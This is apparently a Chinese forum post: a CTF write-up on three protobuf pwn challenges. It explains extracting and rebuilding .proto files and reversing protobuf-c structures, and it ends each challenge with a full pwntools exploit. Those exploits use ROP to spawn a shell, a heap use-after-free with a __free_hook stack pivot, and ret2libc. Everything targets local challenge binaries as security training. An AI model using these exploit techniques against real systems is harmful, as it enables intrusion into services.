protobuf pwn题专项

我可以不吃啊  金牌会员 | 2024-8-3 22:06:02 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 912|帖子 912|积分 2736

protobuf pwn

预备工作

安装protobuf编译器
  1. sudo apt-get install libprotobuf-dev protobuf-compiler  
复制代码
安装python依靠库
  1. pip3 install grpcio
  2. pip3 install grpcio-tools googleapis-common-protos
复制代码
安装pbtk
  1. git clone https://github.com/marin-m/pbtk
复制代码
ggbond

来自DubheCTF2024的一道GO protobuf题
提取proto文件

如果pbtk的图形化界面打不开，也可以用下令行，切换到pbtk的extractors目录下，输入下面下令举行提取
  1. ./from_binary.py input_file [output_dir]
复制代码
得到ggbond.proto
  1. syntax = "proto3";
  3. package GGBond;
  5. option go_package = "./;ggbond";
  7. service GGBondServer {
  8.     rpc Handler(Request) returns (Response);
  9. }
  11. message Request {
  12.     oneof request {
  13.         WhoamiRequest whoami = 100;
  14.         RoleChangeRequest role_change = 101;
  15.         RepeaterRequest repeater = 102;
  16.     }
  17. }
  19. message Response {
  20.     oneof response {
  21.         WhoamiResponse whoami = 200;
  22.         RoleChangeResponse role_change = 201;
  23.         RepeaterResponse repeater = 202;
  24.         ErrorResponse error = 444;
  25.     }
  26. }
  28. message WhoamiRequest {
  29.    
  30. }
  32. message WhoamiResponse {
  33.     string message = 2000;
  34. }
  36. message RoleChangeRequest {
  37.     uint32 role = 1001;
  38. }
  40. message RoleChangeResponse {
  41.     string message = 2001;
  42. }
  44. message RepeaterRequest {
  45.     string message = 1002;
  46. }
  48. message RepeaterResponse {
  49.     string message = 2002;
  50. }
  52. message ErrorResponse {
  53.     string message = 4444;
  54. }
复制代码
切到.proto文件的目录，输入下面下令
  1. python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto
复制代码
编译得到py文件
分析程序逻辑

IDA定位到程序main_main入口

grpc创建服务这里能看到ptr_main_server，跟进可以发现main__ptr_server_Handler，结合proto文件可知这个是rpc业务逻辑处理函数，也就是我们重要分析的代码
根据逆向可以得到程序的大致逻辑：
程序有三种消息格式：

  • Whoami：打印当前的规则
  • RoleChange：更改当前的规则（一共有四种规则，0到3）
  • Repeater：发送信息 ，但仅在规则3下服务器才处理收到的信息
导入依靠文件，写出交互函数
  1. import grpc
  2. import ggbond_pb2
  3. import ggbond_pb2_grpc
  4. import base64
  5. channel_port = "127.0.0.1:23334"
  7. def who():
  8.     channel = grpc.insecure_channel(channel_port)
  9.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  10.     request = ggbond_pb2.Request()
  11.     request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
  12.     response = stub.Handler(request)
  13.     print("Response from Handler:", response)
  15. def Role(ty):
  16.     channel = grpc.insecure_channel(channel_port)
  17.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  18.     request = ggbond_pb2.Request()
  19.     request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
  20.     response = stub.Handler(request)
  21.     print("Response from Handler:", response)
  23. def Rep(data):
  24.     channel = grpc.insecure_channel(channel_port)
  25.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  26.     request = ggbond_pb2.Request()
  27.     request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
  28.     stub.Handler(request)
复制代码
接下来我们看规则3下服务器是如何处理发送的信息的

将发送的信息base64解码之后有个栈上的copy，很明显这里有溢出，v47指向栈上的变量v73，得到溢出偏移为0xC8

接下来就是通例go题的ret2syscall了
exp脚本

提供了shell和ORW两种打法
  1. from pwn import *import grpc
  2. import ggbond_pb2
  3. import ggbond_pb2_grpc
  4. import base64
  5. channel_port = "127.0.0.1:23334"
  7. def who():
  8.     channel = grpc.insecure_channel(channel_port)
  9.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  10.     request = ggbond_pb2.Request()
  11.     request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
  12.     response = stub.Handler(request)
  13.     print("Response from Handler:", response)
  15. def Role(ty):
  16.     channel = grpc.insecure_channel(channel_port)
  17.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  18.     request = ggbond_pb2.Request()
  19.     request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
  20.     response = stub.Handler(request)
  21.     print("Response from Handler:", response)
  23. def Rep(data):
  24.     channel = grpc.insecure_channel(channel_port)
  25.     stub = ggbond_pb2_grpc.GGBondServerStub(channel)
  26.     request = ggbond_pb2.Request()
  27.     request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
  28.     stub.Handler(request)context(arch = "amd64",os = "linux",log_level = "debug")#context.terminal = ['tmux','splitw','-h']context.terminal = ['gnome-terminal', '-x', 'sh', '-c']file = "./ggbond"p = process(file)elf = ELF(file)#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")Role(3)rax = 0x00000000004101e6rdi = 0x0000000000401537rsi = 0x0000000000422398rdx = 0x0000000000461bd1syscall = 0x000000000040452c# ROPgadget --string "flag\x00" --binary ggbondflag = 0x00000000007f95babuf = elf.bss(0x800)# systemrop = b'a'*0x68 + b'\x00'*0x60rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)# ORW""" rop = b'a'*0xc8rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """p.send('/bin/sh\x00')try:    Rep(base64.b64encode(rop))except:    p.interactive()
复制代码
StrangeTalkBot

一道CISCN2023初赛的C protobuf堆题，我觉得难点更多是在逆向部分（还原proto内容）
还原proto文件

查看主函数
  1. void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
  2. {
  3.   unsigned __int64 v3; // [rsp+0h] [rbp-10h]
  4.   char *v4; // [rsp+8h] [rbp-8h]
  6.   sub_1763();
  7.   while ( 1 )
  8.   {
  9.     memset(byte_A060, 0, sizeof(byte_A060));
  10.     puts("You can try to have friendly communication with me now: ");
  11.     v3 = read(0, byte_A060, 0x400uLL);
  12.     v4 = sub_192D(0LL, v3, byte_A060);
  13.     if ( !v4 )
  14.       break;
  15.     sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));
  16.   }
  17.   sub_1329();
  18. }
复制代码
循环read读到byte_A060，然后函数sub_192D处理读入的字节。跟进可以发现sub_192D就是解析protobuf字节流的函数，返回对应的C结构体
为了理解protobuf在c是如何工作的，我下载了protobuf-c编译器以及protobuf-c的git项目（这里是为了得到一些关键的头文件定义
  1. sudo apt install protobuf-c-compiler
  2. git clone https://github.com/protobuf-c/protobuf-c.git
复制代码
接着我定义了一个测试proto文件并编译得到.h和.c文件
  1. syntax = "proto2";
  3. message testMessage {
  4.     required string name = 1;
  5.     required sint64 id = 2;
  6.     required bytes buffer = 3;
  7.     required uint32 size = 4;
  8. }
复制代码
test.pb-c.h
  1. /* Generated by the protocol buffer compiler.  DO NOT EDIT! */
  2. /* Generated from: test.proto */
  4. #ifndef PROTOBUF_C_test_2eproto__INCLUDED
  5. #define PROTOBUF_C_test_2eproto__INCLUDED
  7. #include <protobuf-c/protobuf-c.h>
  9. PROTOBUF_C__BEGIN_DECLS
  11. #if PROTOBUF_C_VERSION_NUMBER < 1000000
  12. # error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
  13. #elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
  14. # error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
  15. #endif
  18. typedef struct _TestMessage TestMessage;
  21. /* --- enums --- */
  24. /* --- messages --- */
  26. struct  _TestMessage
  27. {
  28.   ProtobufCMessage base;
  29.   char *name;
  30.   int64_t id;
  31.   ProtobufCBinaryData buffer;
  32.   uint32_t size;
  33. };
  34. #define TEST_MESSAGE__INIT \
  35. { PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \
  36.     , NULL, 0, {0,NULL}, 0 }
  39. /* TestMessage methods */
  40. void   test_message__init
  41.                      (TestMessage         *message);
  42. size_t test_message__get_packed_size
  43.                      (const TestMessage   *message);
  44. size_t test_message__pack
  45.                      (const TestMessage   *message,
  46.                       uint8_t             *out);
  47. size_t test_message__pack_to_buffer
  48.                      (const TestMessage   *message,
  49.                       ProtobufCBuffer     *buffer);
  50. TestMessage *
  51.        test_message__unpack
  52.                      (ProtobufCAllocator  *allocator,
  53.                       size_t               len,
  54.                       const uint8_t       *data);
  55. void   test_message__free_unpacked
  56.                      (TestMessage *message,
  57.                       ProtobufCAllocator *allocator);
  58. /* --- per-message closures --- */
  60. typedef void (*TestMessage_Closure)
  61.                  (const TestMessage *message,
  62.                   void *closure_data);
  64. /* --- services --- */
  67. /* --- descriptors --- */
  69. extern const ProtobufCMessageDescriptor test_message__descriptor;
  71. PROTOBUF_C__END_DECLS
  74. #endif  /* PROTOBUF_C_test_2eproto__INCLUDED */
复制代码
test.pb-c.c
  1. /* Generated by the protocol buffer compiler.  DO NOT EDIT! */
  2. /* Generated from: test.proto */
  4. /* Do not generate deprecated warnings for self */
  5. #ifndef PROTOBUF_C__NO_DEPRECATED
  6. #define PROTOBUF_C__NO_DEPRECATED
  7. #endif
  9. #include "test.pb-c.h"
  10. void   test_message__init
  11.                      (TestMessage         *message)
  12. {
  13.   static const TestMessage init_value = TEST_MESSAGE__INIT;
  14.   *message = init_value;
  15. }
  16. size_t test_message__get_packed_size
  17.                      (const TestMessage *message)
  18. {
  19.   assert(message->base.descriptor == &test_message__descriptor);
  20.   return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
  21. }
  22. size_t test_message__pack
  23.                      (const TestMessage *message,
  24.                       uint8_t       *out)
  25. {
  26.   assert(message->base.descriptor == &test_message__descriptor);
  27.   return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
  28. }
  29. size_t test_message__pack_to_buffer
  30.                      (const TestMessage *message,
  31.                       ProtobufCBuffer *buffer)
  32. {
  33.   assert(message->base.descriptor == &test_message__descriptor);
  34.   return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
  35. }
  36. TestMessage *
  37.        test_message__unpack
  38.                      (ProtobufCAllocator  *allocator,
  39.                       size_t               len,
  40.                       const uint8_t       *data)
  41. {
  42.   return (TestMessage *)
  43.      protobuf_c_message_unpack (&test_message__descriptor,
  44.                                 allocator, len, data);
  45. }
  46. void   test_message__free_unpacked
  47.                      (TestMessage *message,
  48.                       ProtobufCAllocator *allocator)
  49. {
  50.   if(!message)
  51.     return;
  52.   assert(message->base.descriptor == &test_message__descriptor);
  53.   protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
  54. }
  55. static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
  56. {
  57.   {
  58.     "name",
  59.     1,
  60.     PROTOBUF_C_LABEL_REQUIRED,
  61.     PROTOBUF_C_TYPE_STRING,
  62.     0,   /* quantifier_offset */
  63.     offsetof(TestMessage, name),
  64.     NULL,
  65.     NULL,
  66.     0,             /* flags */
  67.     0,NULL,NULL    /* reserved1,reserved2, etc */
  68.   },
  69.   {
  70.     "id",
  71.     2,
  72.     PROTOBUF_C_LABEL_REQUIRED,
  73.     PROTOBUF_C_TYPE_SINT64,
  74.     0,   /* quantifier_offset */
  75.     offsetof(TestMessage, id),
  76.     NULL,
  77.     NULL,
  78.     0,             /* flags */
  79.     0,NULL,NULL    /* reserved1,reserved2, etc */
  80.   },
  81.   {
  82.     "buffer",
  83.     3,
  84.     PROTOBUF_C_LABEL_REQUIRED,
  85.     PROTOBUF_C_TYPE_BYTES,
  86.     0,   /* quantifier_offset */
  87.     offsetof(TestMessage, buffer),
  88.     NULL,
  89.     NULL,
  90.     0,             /* flags */
  91.     0,NULL,NULL    /* reserved1,reserved2, etc */
  92.   },
  93.   {
  94.     "size",
  95.     4,
  96.     PROTOBUF_C_LABEL_REQUIRED,
  97.     PROTOBUF_C_TYPE_UINT32,
  98.     0,   /* quantifier_offset */
  99.     offsetof(TestMessage, size),
  100.     NULL,
  101.     NULL,
  102.     0,             /* flags */
  103.     0,NULL,NULL    /* reserved1,reserved2, etc */
  104.   },
  105. };
  106. static const unsigned test_message__field_indices_by_name[] = {
  107.   2,   /* field[2] = buffer */
  108.   1,   /* field[1] = id */
  109.   0,   /* field[0] = name */
  110.   3,   /* field[3] = size */
  111. };
  112. static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
  113. {
  114.   { 1, 0 },
  115.   { 0, 4 }
  116. };
  117. const ProtobufCMessageDescriptor test_message__descriptor =
  118. {
  119.   PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
  120.   "testMessage",
  121.   "TestMessage",
  122.   "TestMessage",
  123.   "",
  124.   sizeof(TestMessage),
  125.   4,
  126.   test_message__field_descriptors,
  127.   test_message__field_indices_by_name,
  128.   1,  test_message__number_ranges,
  129.   (ProtobufCMessageInit) test_message__init,
  130.   NULL,NULL,NULL    /* reserved[123] */
  131. };
复制代码
生成的代码有点冗长，对逆向有帮助的重要在test.pb-c.c文件内里，声明了很多静态全局变量，例如形貌消息字段的test_message__field_indices_by_name数组以及形貌消息的全局变量test_message__descriptor，其中形貌消息的全局变量第一个成员是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC = 0x28AAEEF9，用IDA全局搜索该常量

很明显在我们要找的是在数据段的结果，而在该常量上面就是我们须要的消息字段形貌结构体数组
如今我们知道形貌消息中单个字段的结构体叫ProtobufCFieldDescriptor，从这个结构体中我们能提取到ProtobufCLabel和ProtobufCType这两个重要的枚举类型，下面的代码同时也给出了ProtobufCFieldDescriptor的结构体定义，我们将这三个结构体导入到IDA中
  1. enum ProtobufCLabel
  2. {
  3.   PROTOBUF_C_LABEL_REQUIRED = 0x0,      ///< A well-formed message must have exactly one of this field.
  4.   PROTOBUF_C_LABEL_OPTIONAL = 0x1,      ///< A well-formed message can have zero or one of this field (but not
  5.                                         ///< more than one).
  6.   PROTOBUF_C_LABEL_REPEATED = 0x2,      ///< This field can be repeated any number of times (including zero) in a
  7.                                         ///< well-formed message. The order of the repeated values will be
  8.                                         ///< preserved.
  9.   PROTOBUF_C_LABEL_NONE = 0x3,          ///< This field has no label. This is valid only in proto3 and is
  10.                                         ///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
  11. };
  13. enum ProtobufCType
  14. {
  15.   PROTOBUF_C_TYPE_INT32 = 0x0,          ///< int32
  16.   PROTOBUF_C_TYPE_SINT32 = 0x1,         ///< signed int32
  17.   PROTOBUF_C_TYPE_SFIXED32 = 0x2,       ///< signed int32 (4 bytes)
  18.   PROTOBUF_C_TYPE_INT64 = 0x3,          ///< int64
  19.   PROTOBUF_C_TYPE_SINT64 = 0x4,         ///< signed int64
  20.   PROTOBUF_C_TYPE_SFIXED64 = 0x5,       ///< signed int64 (8 bytes)
  21.   PROTOBUF_C_TYPE_UINT32 = 0x6,         ///< unsigned int32
  22.   PROTOBUF_C_TYPE_FIXED32 = 0x7,        ///< unsigned int32 (4 bytes)
  23.   PROTOBUF_C_TYPE_UINT64 = 0x8,         ///< unsigned int64
  24.   PROTOBUF_C_TYPE_FIXED64 = 0x9,        ///< unsigned int64 (8 bytes)
  25.   PROTOBUF_C_TYPE_FLOAT = 0xA,          ///< float
  26.   PROTOBUF_C_TYPE_DOUBLE = 0xB,         ///< double
  27.   PROTOBUF_C_TYPE_BOOL = 0xC,           ///< boolean
  28.   PROTOBUF_C_TYPE_ENUM = 0xD,           ///< enumerated type
  29.   PROTOBUF_C_TYPE_STRING = 0xE,         ///< UTF-8 or ASCII string
  30.   PROTOBUF_C_TYPE_BYTES = 0xF,          ///< arbitrary byte sequence
  31.   PROTOBUF_C_TYPE_MESSAGE = 0x10,       ///< nested message
  32. };
  34. struct ProtobufCFieldDescriptor {
  35.         /** Name of the field as given in the .proto file. */
  36.         const char                *name;
  37.         /** Tag value of the field as given in the .proto file. */
  38.         uint32_t                id;
  39.         /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
  40.         ProtobufCLabel                label;
  41.         /** The type of the field. */
  42.         ProtobufCType                type;
  43.         /**
  44.          * The offset in bytes of the message's C structure's quantifier field
  45.          * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
  46.          * for repeated members or the case enum for oneofs).
  47.          */
  48.         unsigned                quantifier_offset;
  49.         /**
  50.          * The offset in bytes into the message's C structure for the member
  51.          * itself.
  52.          */
  53.         unsigned                offset;
  54.         const void                *descriptor; /* for MESSAGE and ENUM types */
  55.         /** The default value for this field, if defined. May be NULL. */
  56.         const void                *default_value;
  57.         uint32_t                flags;
  58.         /** Reserved for future use. */
  59.         unsigned                reserved_flags;
  60.         /** Reserved for future use. */
  61.         void                        *reserved2;
  62.         /** Reserved for future use. */
  63.         void                        *reserved3;
  64. };
复制代码
然后还原消息字段形貌结构体数组

由此可以还原出程序的proto文件如下
  1. syntax = "proto2";
  3. message Devicemsg {
  4.     required sint64 actionid = 1;
  5.     required sint64 msgidx = 2;
  6.     required sint64 msgsize = 3;
  7.     required bytes msgcontent = 4;
  8. }
复制代码
最后用protoc编译该proto文件为py代码
可知sub_192D处理后返回的C语言结构体布局如下
  1. struct  _Devicemsg
  2. {
  3.   ProtobufCMessage base;  //这个在IDA导入时可以用 unint64_t base[3]; 代替
  4.   int64_t actionid;
  5.   int64_t msgidx;
  6.   int64_t msgsize;
  7.   ProtobufCBinaryData msgcontent;
  8. };
  10. struct ProtobufCBinaryData {
  11.         size_t        len;        /**< Number of bytes in the `data` field. */
  12.         uint8_t        *data;      /**< Data bytes. */
  13. };
复制代码
将该结构体导入IDA，设置main函数v4的类型为Devicemsg*

分析程序逻辑

看NSS讨论区说是2.31-0ubuntu9.9_amd64，glibc all in one没能找到这个版本，所以用的是2.31-0ubuntu9.15_amd64，虽然版本存在小差异，但思路是差不多的
通例的堆题菜单且delete存在UAF
存在这些限制：

  • 只能创建 0x21 个堆
  • 堆的巨细和msgcontent长度不能超过 0xf1
  • 程序开启了沙盒禁用了execve调用
因为禁用了execve，所以不能打ogg大概system

利用思路也很清晰：

  • 填满tcache然后再free一个堆到unsorted bin，通过UAF leak出libc
  • 写free_hook利用magic_gadget举行栈迁徙
  • 打ORW ROP
exp脚本
  1. from pwn import *
  3. def debug(c = 0):
  4.     if(c):
  5.         gdb.attach(p, c)
  6.     else:
  7.         gdb.attach(p)
  8. def get_addr():
  9.     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  11. def get_sb():
  12.     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  14. #-----------------------------------------------------------------------------------------
  15. sd = lambda data : p.send(data)
  16. sa  = lambda text,data  :p.sendafter(text, data)
  17. sl  = lambda data   :p.sendline(data)
  18. sla = lambda text,data  :p.sendlineafter(text, data)
  19. rc   = lambda num=4096   :p.recv(num)
  20. ru  = lambda text   :p.recvuntil(text)
  21. rl  = lambda         :p.recvline()
  22. pr = lambda num=4096 :print(p.recv(num))
  23. inter   = lambda        :p.interactive()
  24. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  25. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  26. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  27. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  28. int16   = lambda data   :int(data,16)
  29. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  30. #-----------------------------------------------------------------------------------------
  32. context(arch = "amd64",os = "linux",log_level = "debug")
  33. #context.terminal = ['tmux','splitw','-h']
  34. context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
  35. file = "./service"
  36. libc = "./libc.so.6"
  37. #cmd = ""
  39. #p = gdb.debug(file, cmd)
  40. p = process(file)
  41. elf = ELF(file)
  42. libc = ELF(libc)
  43. #p = remote("node4.anna.nssctf.cn", 28245)
  44. import message_pb2
  46. def add(i,s,c):
  47.         msg = message_pb2.Devicemsg()
  48.         msg.actionid = 1
  49.         msg.msgidx = i
  50.         msg.msgsize = s
  51.         msg.msgcontent = c
  52.         sa(': \n',msg.SerializeToString())
  53. def free(i):
  54.         msg = message_pb2.Devicemsg()
  55.         msg.actionid = 4
  56.         msg.msgidx = i
  57.         msg.msgsize = 0
  58.         msg.msgcontent = b''
  59.         sa(': \n',msg.SerializeToString())
  60. def show(i):
  61.         msg = message_pb2.Devicemsg()
  62.         msg.actionid = 3
  63.         msg.msgidx = i
  64.         msg.msgsize = 0
  65.         msg.msgcontent = b''
  66.         sa(': \n',msg.SerializeToString())
  67. def edit(i,c):
  68.         msg = message_pb2.Devicemsg()
  69.         msg.actionid = 2
  70.         msg.msgidx = i
  71.         msg.msgsize = 0
  72.         msg.msgcontent = c
  73.         sa(': \n',msg.SerializeToString())
  75. for i in range(8):
  76.         add(i,0xf0,b'')
  77. for i in range(8):
  78.         free(i)
  80. show(7)
  81. rc(0x50)
  82. libc_base = uu64()-0x1ecbe0
  83. lg("libc_base", libc_base)
  84. show(0)
  85. rc(8)
  86. heap_base = uu64() - 0x10
  87. lg('heap_base',heap_base)
  89. pop_rdi_ret = libc_base+0x0000000000023b6a
  90. pop_rsi_ret = libc_base+0x000000000002601f
  91. pop_rdx_r12_ret = libc_base+0x0000000000119431
  92. pop_rax_ret = libc_base+0x0000000000036174
  93. syscall_ret = libc_base+0x00000000000630a9
  95. payload = p64(libc_base+libc.sym["__free_hook"]) + flat([
  96.         libc_base+0x0000000000025b9b,
  97.         0,
  98.         heap_base+0xad0,
  99.         pop_rdi_ret,
  100.         heap_base+0xad0,
  101.         pop_rsi_ret,
  102.         0,
  103.         pop_rdx_r12_ret,
  104.         0,
  105.         0,
  106.         pop_rax_ret,
  107.         2,
  108.         syscall_ret, # open
  109.         pop_rdi_ret,
  110.         3,
  111.         pop_rsi_ret,
  112.         heap_base+0xad0,
  113.         pop_rdx_r12_ret,
  114.         0x30,
  115.         0,
  116.         pop_rax_ret,
  117.         0,
  118.         syscall_ret, # read
  119.         pop_rdi_ret,
  120.         1,
  121.         pop_rax_ret,
  122.         1,
  123.         syscall_ret, # write
  124. ])
  125. edit(6, payload)
  126. debug("b *$rebase(0x1561)")
  127. payload = flat({
  128.         0x00: 0x67616c662f2e, # ./flag
  129.         0x28: libc_base+0x00000000000578c8,
  130.         0x48: heap_base+0xfa0
  131. }).ljust(0x50, b'\x00')
  132. add(8, 0xf0, payload)
  133. magic_gadget = libc_base+0x15500A
  134. """
  135. mov     rbp, [rdi+48h]
  136. mov     rax, [rbp+18h]
  137. lea     r13, [rbp+10h]
  138. mov     dword ptr [rbp+10h], 0
  139. mov     rdi, r13
  140. call    qword ptr [rax+28h]
  141. """
  142. add(9,0xf0,p64(magic_gadget))
  143. free(8)
  145. inter()
复制代码
protoverflow

CISCN2024 华中半决赛的题，C++ protobuf题，标题不难溢出点很明显，惋惜当时因为python环境有题目导致没能写出来（哭哭
提取protobuf文件

和GO语言那道一样直接脚本提取得到proto文件
  1. syntax = "proto2";
  3. message protoMessage {
  4.     optional string name = 1;
  5.     optional string phoneNumber = 2;
  6.     required bytes buffer = 3;
  7.     required uint32 size = 4;
  8. }
复制代码
分析程序逻辑

主函数很简单，先泄露libc然后读取用户输入，再解析protobuf流

之后的处理函数中memcpy存在很明显的栈溢出，直接打ret2libc即可

exp脚本
  1. from pwn import *
  2. import struct
  4. def debug(c = 0):
  5.     if(c):
  6.         gdb.attach(p, c)
  7.     else:
  8.         gdb.attach(p)
  9. def get_addr():
  10.     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  12. def get_sb():
  13.     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  15. #-----------------------------------------------------------------------------------------
  16. sd = lambda data : p.send(data)
  17. sa  = lambda text,data  :p.sendafter(text, data)
  18. sl  = lambda data   :p.sendline(data)
  19. sla = lambda text,data  :p.sendlineafter(text, data)
  20. rc   = lambda num=4096   :p.recv(num)
  21. ru  = lambda text   :p.recvuntil(text)
  22. rl  = lambda         :p.recvline()
  23. pr = lambda num=4096 :print(p.recv(num))
  24. inter   = lambda        :p.interactive()
  25. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  26. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  27. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  28. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  29. int16   = lambda data   :int(data,16)
  30. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  31. #-----------------------------------------------------------------------------------------
  33. import message_pb2
  34. context(arch = "amd64",os = "linux",log_level = "debug")
  35. #context.terminal = ['tmux','splitw','-h']
  36. context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
  37. file = './pwn'
  38. p = process([file], env= {"LD_LIBRARY_PATH":"./"})
  39. elf = ELF(file)
  40. libc = ELF(p.libc.path)
  42. # debug('b *$rebase(0x332f)')
  44. ru(b'0x')
  45. libc_base = int(rc(12), 16) - libc.sym['puts']
  46. lg('libc_base', libc_base)
  47. rdi = libc_base + 0x000000000002a3e5
  48. ret = rdi + 1
  49. system, binsh = get_sb()
  51. pl = b'a'*0x218
  52. pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
  53. msg = message_pb2.protoMessage()
  54. msg.name="1"
  55. msg.phoneNumber="2"
  56. msg.buffer = pl
  57. msg.size = len(pl)
  58. serialized_msg = msg.SerializeToString()
  59. sd(serialized_msg)
  60. inter()
复制代码
参考文章：python底子--protobuf的使用(一)_protobuf py-CSDN博客
【Python进阶学习】gRPC的基本使用教程_grpc 同一个链接 保持变量参数-CSDN博客

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我可以不吃啊

金牌会员
这个人很懒什么都没写!

楼主热帖

标签云

存储 挺好的 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表